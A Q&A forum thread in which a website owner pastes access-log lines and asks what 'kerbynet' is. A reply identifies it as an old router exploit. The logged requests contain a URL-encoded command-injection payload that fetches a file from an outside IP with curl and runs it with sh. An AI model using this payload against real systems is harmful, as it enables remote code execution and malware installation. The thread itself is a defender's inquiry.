0

Recently I got a very odd request to my website. This is from the log file:

20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-"
20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-"

It appears to be trying to run some shell commands, including what I believe to be downloading the source of a site with cURL. I tried to visit this URL but it was blocked by my security filter. What is kerbynet? Is this part of cloudflare and can it be used to run shell commands on my website?

It should be noted that I use Cloudflare.

1

1 Answer 1

2

Solved: Did some digging and it turns out to be an old exploit for wifi routers.

https://www.exploit-db.com/exploits/28558 https://www.youtube.com/watch?v=fgbfVBr65e4

Not the answer you're looking for? Browse other questions tagged .